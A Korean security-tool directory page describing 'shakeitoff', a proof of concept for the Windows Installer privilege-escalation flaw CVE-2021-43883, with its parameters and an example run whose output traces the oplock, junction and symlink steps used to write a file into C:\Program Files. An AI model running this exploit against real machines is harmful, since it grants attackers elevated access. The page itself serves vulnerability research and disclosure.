Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
shakeitoff — Windows MSI 설치 관리자 LPE (CVE-2021-43883) | Kitploit
도구/GitHubGitHub/jbaines-r7/shakeitoff
Privilege EscalationVulnerability AnalysisExploitationPenetration Testing
GitHubjbaines-r7/shakeitoff

shakeitoff

Windows MSI 설치 관리자 LPE (CVE-2021-43883)

저장소 보기웹사이트
79164년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

shakeitoff

InstallerFileTakeOver의 더 작고, 최소화되었으며, 깔끔한 버전입니다. CVE-2021-41379의 "변형"으로 알려진 제로데이 익스플로잇으로, 이후 CVE-2021-43883로 지정되었습니다. 이 버전은 InstallerFileTakeOver처럼 셸을 띄우지 않습니다. 이 코드의 목적은 파일 생성 공격을 더 안정적으로 입증하는 더 간단한 개념 증명을 만드는 것이었습니다. 이 개념 증명은 사용자가 요청한 임의의 파일을 생성하고(그리고 쓰기 가능함을 증명하기 위해 그 파일에 자신을 복사합니다) 코드 실행을 입증하는 것은 독자의 몫으로 남겨둔 사소한 연습입니다.

공격이 어떻게 동작하는지 이해하려면 AttackerKB 분석 글을 참조하세요.

사용법

이 도구는 세 가지 매개변수를 필요로 합니다:

root@kitploit:~
C:\Users\albinolobster\source\repos\shakeitoff\x64\Release>.\shakeitoff.exe
option "msi_path" is required
Allowed options:
  -h, --help              produce help message
  -m, --msi_path arg      The path to the MSI to install
  -i, --install_path arg  The path to install to
  -p, --target_path arg   The file to create
  1. -m - 설치할 MSI(전체 경로 필요). 이 저장소에 하나가 포함되어 있으며(파일 경로가 실제로 중요하므로 이 파일을 사용해야 합니다).
  2. -i - 설치 경로(전체 경로 필요). MSI가 설치되는 위치이자 익스플로잇이 발생하는 곳입니다. 사용자는 이를 미리 지정해야 하며 반드시 빈 디렉터리여야 합니다. 도구는 버그를 파악하기 쉽게 하기 위해 이를 정리하지 않습니다. 또한 제가 몬스터라서 끝에 \ 가 있어야 합니다.
  3. -p - 덮어쓰거나 생성할 파일. 전체 경로 필요.

PoC는 대상 파일에 자신을 복사할 뿐입니다.

사용 예시

root@kitploit:~
C:\Users\Public>dir "C:\Program Files\lol"
 Volume in drive C has no label.
 Volume Serial Number is 5E1E-AC13

 Directory of C:\Program Files

File Not Found

C:\Users\Public>.\shakeitoff.exe -m C:\Users\Public\shakeitoff.msi -i C:\Users\Public\lol\ -p "C:\Program Files\lol"
[+] User provided MSI path: C:\Users\Public\shakeitoff.msi
[+] The target path is: C:\Program Files\lol
[+] Create the temp directory structure we'll install into
[+] Grabbing handle to lock C:\Users\Public\lol\shakeitoff\haters.jpg
[+] Grabbing a directory handle of C:\Users\Public\lol\shakeitoff\
[+] Monitor shakeitoff\shakeitoff for an rbf file
[+] MSI install: ACTION=ADMIN REBOOT=ReallySuppress TARGETDIR=C:\Users\Public\lol\ C:\Users\Public\shakeitoff.msi
[+] Grabbing a handle to inner shakeitoff directory
[+] In callback for oplock one
[+] Opening handle to C:\Users\Public\lol\shakeitoff\8da858.rbf
[+] Creating the callback directory at C:\Users\Public\lol\cb_directory
[+] Grab a handle for the callback directry
[+] Creating a junction from C:\Users\Public\lol\cb_directory to \BaseNamedObjects\Restricted
[+] Inside callback two
[+] Release the hater.jpg handle to unlock
[+] Move the rbf file to C:\Users\Public\lol\weird_directory
[+] Move inner shakeitoff to C:\Users\Public\lol\weird_directory
[+] Move junction at C:\Users\Public\lol\cb_directory to C:\Users\Public\lol\shakeitoff
[+] Configuring symlink from \BaseNamedObjects\Restricted\8da858.rbf to \??\C:\Program Files\lol
[+] symlink created!
[+] MsiInstallProductA return value: 1603
[+] Exploit thread joined
[+] Copy into target!

C:\Users\Public>dir "C:\Program Files\lol"
 Volume in drive C has no label.
 Volume Serial Number is 5E1E-AC13

 Directory of C:\Program Files

12/02/2021  02:01 PM           368,640 lol
               1 File(s)        368,640 bytes
               0 Dir(s)  86,015,610,880 bytes free

크레딧

  • 이 코드는 Abdelhamid Naceri가 게시한 원본 익스플로잇(최초 취약점 발견자이기도 합니다!)의 영향을 받았습니다.
  • FileOpLock 코드는 angrypolarbearbug2에서 가져온 (약간 수정된) 버전입니다.
  • Taylor Swift
도구 다운로드